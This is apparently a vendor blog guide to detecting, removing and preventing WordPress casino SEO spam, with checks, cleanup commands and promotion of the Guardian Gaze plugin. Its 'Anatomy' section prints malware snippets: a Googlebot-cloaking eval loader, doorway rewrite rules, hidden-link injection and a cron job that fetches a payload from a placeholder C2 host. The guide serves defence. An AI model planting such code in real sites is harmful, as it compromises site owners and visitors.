WordPress Casino Spam: Detection, Removal & Prevention

Blog / 14 min read / 9 July 2026

WordPress casino spam is a black-hat SEO infection that injects gambling, betting, and “free spins” content into your site but only shows it to Google’s crawler, not to you. Your homepage looks fine. Your search results are full of “online casino no deposit bonus.”

The fix:

Confirm cloaking: view your site as Googlebot (not as yourself).
Find the loader: scan wp-options, wp-posts, theme functions.php, mu-plugins/, and any recently modified core file.
Remove every persistence point at once. File + database + cron + admin user. Missing one means it reinfects in 24 hours.
Request reindexing in Google Search Console once the SERP is clean.

Casino spam survives most “cleanups” because it lives in multiple places simultaneously, including the database, where most file-based scanners never look. We’ll walk through every one of them below.

What is WordPress casino spam?
How to confirm your site has it
Why your security plugin missed it
Anatomy of a 2026 casino spam infection
Step-by-step removal protocol
Cleaning up Google’s search results
How to prevent reinfection
FAQ

1. What Is WordPress Casino Spam?

WordPress casino spam, also called gambling SEO spam or Japanese casino spam (because it disproportionately targets pages with Japanese- or Indonesian-language gambling keywords), is a malware family that turns your site into a free ranking vehicle for offshore betting sites.

Attackers compromise the site, then inject spam pages and links targeting high-value gambling and casino terms. The spam is conditional: it shows up only when Googlebot or occasionally a visitor arriving from a specific search query, sees the page, so the site owner has no idea anything is wrong.

You usually learn about it one of three ways:

A customer messages you asking why your site shows up next to “オンラインカジノ” in Google.
Your organic traffic craters on branded terms while spiking on gambling terms you’ve never targeted.
Google sends a manual action notice for “user-generated spam” or flags your sitemap as containing thousands of URLs you never created.

By the time any of those happen, the spam has usually been live for two to five months. Unlike a defacement attack, casino spam is built to be invisible to the operator for as long as possible, every day undetected is another day of free rankings for the attacker.

What it looks like in Google

A casino-spammed site shows results like:

yoursite.com/blog/category/uncategorized – オンラインカジノ入金不要ボーナス2026
yoursite.com/?p=48291 – Best Online Casino Sites | Free Spins No Deposit
yoursite.com/wp-content/uploads/2019/03/ – Slot Gacor Hari Ini Terpercaya

You search site:yoursite.com casino and dozens, sometimes tens of thousands, of results appear. Visit any of those URLs in your browser and you see a 404, your normal theme, or nothing at all. That’s the cloaking layer at work or in many cases, pages that only exist as far as Google’s index is concerned, generated on the fly and never actually stored as posts.

2. How To Confirm Your Site Has Casino Spam

Run these checks in order. The first one that fires is your confirmation.

Check 1: Search Google directly

site:yourdomain.com casino

site:yourdomain.com slot

site:yourdomain.com betting bonus

site:yourdomain.com judi online

If a single spam result appears, the site is infected. Skip straight to removal.

Check 2: Fetch your site as Googlebot

# Fetch as Googlebot

curl -A "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" \

  https://yourdomain.com/ | head -200

# Fetch as a normal browser for comparison

curl -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)" \

  https://yourdomain.com/ | head -200

If the two outputs differ, gambling keywords, hidden links, or extra pages appear only in the Googlebot version, you’re dealing with the cloaking variant.

If you don’t have terminal access, use the URL Inspection tool in Search Console: paste a suspicious URL → View crawled page → More info → HTTP response. Compare against what loads in your own browser.

Check 3: Check Search Console for indexed URL spikes

Go to Indexing → Pages and look at the “Indexed” count over the last 90 days. Casino spam campaigns often push a site from a few hundred indexed URLs to tens of thousands almost overnight, since the loader auto-generates a near-infinite number of unique spam page paths.

Check 4: Inspect the database for encoded blobs

SELECT option_name, LENGTH(option_value) AS size

FROM wp_options

WHERE LENGTH(option_value) > 5000

   OR option_value LIKE '%base64_decode%'

   OR option_value LIKE '%eval(%'

   OR option_value LIKE '%gzinflate%'

ORDER BY size DESC

LIMIT 20;

Common malicious option names seen in 2025–2026 casino campaigns: _wp_seo_boost, _cache_optimizer_v2, theme_perf_settings, wp_ad_render_cache, _gg_link_cache. Any unfamiliar option holding a large encoded value deserves a closer look.

3. Why Your Security Plugin Missed It

Owners running Wordfence, MalCare, or Sucuri Security assume one of these would have caught it. Usually they don’t, for the same three structural reasons that let pharma spam through.

Reason 1: It lives in the database, not the files. Casino spam loaders commonly store the entire spam-page template and keyword list in wp_options or a dedicated custom table created by the malware itself. File-hash scanners never open the database, so the scan reports “clean” even while thousands of spam pages are being served.

Reason 2: The malware shares the same PHP process as the scanner. Once a casino loader is running inside WordPress, it can whitelist itself in the scanner’s settings, quietly tamper with the plugin’s known-good hash list, or deactivate the plugin outright and suppress the notice.

Reason 3: Fingerprint-aware cloaking. Modern loaders detect when the requester is a security plugin’s own scan (rather than Googlebot or a real visitor) and simply serve clean content back to it. The same URL then serves gambling content to a crawler moments later.

This is why traditional signature-based and file-hash scanners struggle with casino spam in 2026. The malware changes constantly, so scanners looking for known signatures are always playing catch-up.

Guardian Gaze WordPress security plugin was built for this very purpose. Instead of relying on signatures, it uses AI-powered behavioral analysis to understand what the code is actually doing. Whether it’s executing an encoded payload, cloaking content for search engines, or silently modifying the database, Guardian Gaze flags suspicious behavior, even if the malware has never been seen before.

4. Anatomy Of A 2026 Casino Spam Infection

Persistence point 1: Encoded page generator in wp_options

// Stored in wp_options as `_gg_link_cache` or similar

add_action('init', function() {

    if (!preg_match('/googlebot|bingbot/i', $_SERVER['HTTP_USER_AGENT'] ?? '')) {

        return;

    }

    $payload = base64_decode(get_option('_gg_link_cache'));

    eval('?>' . $payload); // renders a spam casino page and exits

}, 1);

This runs before any theme or plugin code and renders a fabricated casino landing page for any URL pattern the loader recognizes, the page doesn’t need to exist as a real post at all.

Persistence point 2: Doorway page generation via rewrite rules

# Injected at the top of .htaccess

RewriteEngine On

RewriteRule ^casino-bonus-([a-z0-9\-]+)\.html$ /wp-content/uploads/cache/render.php?slug=$1 [L]

RewriteRule ^slot-review-([a-z0-9\-]+)\.html$ /wp-content/uploads/cache/render.php?slug=$1 [L]

Google can index tens of thousands of unique doorway URLs, each resolving to a single spam-rendering script that pulls its keyword list and outbound affiliate links from a remote C2 server.

Persistence point 3: Injected outbound links in existing posts

add_filter(‘the_content’, function($content) {

$links = get_option(‘_wp_seo_boost’); // comma-separated hidden anchors

if ($links) {

$content .= ‘<div style=”height:0;overflow:hidden;”>’ . $links . ‘</div>’;

}

return $content;

}, 999);

This variant doesn’t create new pages. Instead, it quietly injects hidden gambling anchor text into your existing, legitimate blog posts.

At first glance, the affected URLs look completely normal. The hidden spam often only becomes visible when you inspect the raw HTML or page source.

Persistence point 4: Hidden admin user

Identical mechanism to other WordPress malware families: an administrator account inserted directly via SQL, with capabilities hidden from the standard Users list, used to reinstall the loader after cleanup.

Persistence point 5: WP-Cron reinstall job

wp_schedule_event(time(), 'hourly', 'gg_casino_reinstall');

add_action('gg_casino_reinstall', function() {

    if (!get_option('_gg_link_cache')) {

        $remote = wp_remote_get('https://[malicious-c2].xyz/casino-payload.txt');

        update_option('_gg_link_cache', wp_remote_retrieve_body($remote));

    }

});

Persistence point 6: mu-plugins folder

A single file dropped in /wp-content/mu-plugins/ runs on every request and can’t be deactivated from the WordPress admin, the same tactic seen in the pharma hack family, since both are typically distributed by overlapping black-hat SEO tool kits.

If you remove only some of these, the most common outcome of a manual cleanup, the remaining ones rebuild the rest within the hour.

5. Step-By-Step Removal Protocol

Step 0: Full backup before touching anything.

tar -czf preremoval-files-$(date +%Y%m%d-%H%M).tar.gz /var/www/yoursite/

mysqldump -u root -p yoursite_db > preremoval-db-$(date +%Y%m%d-%H%M).sql

Label it “infected” so it never gets restored by accident.

Step 1: Maintenance mode. Stop serving spam pages while you work: wp maintenance-mode activate.

Step 2: Find recently modified and suspicious files.

find /var/www/yoursite/ -type f -mtime -30 -name "*.php" -printf "%TY-%Tm-%Td %TH:%TM %p\n" | sort

grep -rEl "eval\s*\(\s*base64_decode|gzinflate\s*\(\s*base64" /var/www/yoursite/

find /var/www/yoursite/wp-content/uploads/ -name "*.php"

Any PHP file under /wp-content/uploads/ is suspicious by default, quarantine or delete it.

If you’d rather avoid manually hunting through files, you can also run a scan with the Guardian Gaze WordPress plugin. It automatically scans your website for suspicious files, malicious code, and common WordPress malware, making it much easier to identify threats without using command-line tools.

Step 3: Replace core, themes, and plugins wholesale.

cp wp-config.php /tmp/wp-config.php.safe

cp -r wp-content/uploads /tmp/uploads.safe

wp core download --force --skip-content

wp plugin list --field=name | xargs -I {} wp plugin install {} --force

wp theme install $(wp theme list --status=active --field=name) --force

cp /tmp/wp-config.php.safe wp-config.php

cp -r /tmp/uploads.safe wp-content/uploads

Delete any nulled or pirated plugins/themes entirely, they’re almost always the original entry point.

Step 4: Clean mu-plugins.

Delete everything you didn’t knowingly install.

Step 5: Clean the database.

— Remove suspicious encoded options

DELETE FROM wp_options

WHERE option_name IN ('_gg_link_cache', '_wp_seo_boost', 'wp_ad_render_cache', 'theme_perf_settings')

   OR LENGTH(option_value) > 50000

   OR option_value LIKE '%eval(%base64%';

-- Strip hidden gambling anchors from posts

UPDATE wp_posts

SET post_content = REGEXP_REPLACE(

    post_content,

    '<div[^>]*style[^>]*(display:none|height:0|overflow:hidden)[^>]*>.*?</div>',

    ''

)

WHERE post_content REGEXP '(casino|slot|betting|judi|gacor)';

— Find unauthorized administrators

SELECT u.ID, u.user_login, u.user_email, u.user_registered

FROM wp_users u

INNER JOIN wp_usermeta m ON u.ID = m.user_id

WHERE m.meta_key = 'wp_capabilities'

  AND m.meta_value LIKE '%administrator%'

ORDER BY u.user_registered DESC;

— Remove any rogue scheduled events

SELECT * FROM wp_options WHERE option_name = 'cron';

Always test the UPDATE wp_posts statement against a copy of the database first. Casino spam regex removal is more prone to false positives than the pharma-hack pattern, since “casino” and “betting” can legitimately appear in real content (news sites, review blogs, affiliate sites).

Step 6: Clean .htaccess and wp-config.php.

Remove any rewrite rules pointing at unfamiliar render scripts, and any code before <?php or after the “That’s all” line in wp-config.php.

Step 7: Rotate every credential

WordPress admin passwords, database password, SFTP/SSH, hosting panel, connected API keys.

Step 8: Regenerate salts

in wp-config.php to invalidate every existing session, including the attacker’s.

Step 9: Rescan with a server-side scanner

that runs outside the WordPress PHP process. Repeat steps 2–6 if anything comes back.

6. Cleaning Up Google’s Search Results

Removing the spam from your server is half the job. Google may still be holding tens of thousands of doorway URLs in its index.

Verify the site in Search Console, if not already done.
Submit a reconsideration request if you received a manual action. Describe the infection type, the steps taken, and the prevention measures now in place. Reviews typically take 3–10 days.
Request indexing on your real, important pages via URL Inspection.
Remove spam URLs: Search Console → Indexing → Removals → submit patterns like /casino-bonus-* and /slot-review-*. Make sure those paths now return a genuine 404/410, not a soft 404.
Submit a fresh XML sitemap so Google can distinguish real content from the doorway pages it needs to drop.
Track recovery in the Performance report: impressions on gambling terms should fall to zero within 14–30 days; impressions on your real keywords typically recover over 30–90 days.

Full recovery from a casino spam infection tends to run 3–6 months, and can run longer if the doorway page count was very large, since Google has more indexed spam volume to work through and re-crawl.

7. How To Prevent Reinfection

Most reinfections happen within two weeks of cleanup, usually because of one of these:

The original entry point was never closed. Audit every plugin against known CVE databases, and remove anything unmaintained for 6+ months.
Cleanup was file-only. If the database loader and cron job survive, the spam rebuilds within the hour.
No virtual patching for the next zero-day. Exploitation of a newly disclosed vulnerability often begins within hours, while an official patch can take 1–2 weeks. A WAF with virtual patching closes that gap.
Shared hosting cross-contamination. If a neighboring site on the same server is compromised, attackers can pivot into yours regardless of how clean your own code is.

A prevention checklist that actually works:

Server-side malware scanning, outside the WordPress PHP process
WAF with virtual patching for top plugin vulnerabilities
2FA enforced for every administrator
DISALLOW_FILE_EDIT and DISALLOW_FILE_MODS in wp-config.php
PHP execution disabled in /wp-content/uploads/
Daily off-server backups, restored quarterly to verify they work
Quarterly plugin/theme audits; remove anything unmaintained
No nulled or pirated plugins or themes, ever
Database scanning enabled
Hidden-admin-user and rogue-cron detection enabled

Continue Reading

Stop casino spam from coming back. Guardian Gaze runs server-side scans, virtual patching, and database-resident malware detection, delivering deeper protection than traditional WordPress security plugins. Get the free plugin or see paid plans.

8. Frequently Asked Questions

Why do I see casino results in Google but my site looks completely normal?

Cloaking based on User-Agent or referrer. Fetch your own site with curl -A “Googlebot” to see what crawlers actually receive.

Will my rankings recover after removing casino spam?

Usually, over 30–180 days. Sites caught within two weeks recover almost fully; sites that carried thousands of indexed doorway pages for a year or more can see lasting damage to their core keyword rankings.

Why does casino spam keep coming back after I clean it?

Because it typically deploys 5–6 persistence points across files, database options, cron, hidden admins, and mu-plugins. Miss one and the rest rebuild it.

Can Wordfence or MalCare detect casino spam?

They catch file-resident variants but generally miss database-resident loaders and doorway-page generators, and they can be fingerprinted and evaded from inside the same PHP process they run in.

Should I just restore from a backup?

Only if you can confirm it predates the infection. Casino loaders often sit dormant before activating, so a “clean-looking” backup from a month ago may already carry the payload, run the full removal protocol against it regardless.

How did my site get infected in the first place?

Most common in 2025–2026: an outdated plugin with a known vulnerability, a nulled premium plugin or theme, weak admin credentials, or a compromised neighbor on shared hosting.

Do I need to notify visitors?

If the attacker had file-system access and your site collects personal data, you may have a disclosure obligation under GDPR, CCPA, or similar law. Consult a lawyer if you’re unsure, the general threshold is whether the attacker could have accessed personal data, not whether you’ve confirmed they did.

gazeblogadmin

Threat research at RedSecLabs

WordPress Casino Spam: Detection, Removal & Prevention (2026 Guide)

Table of Contents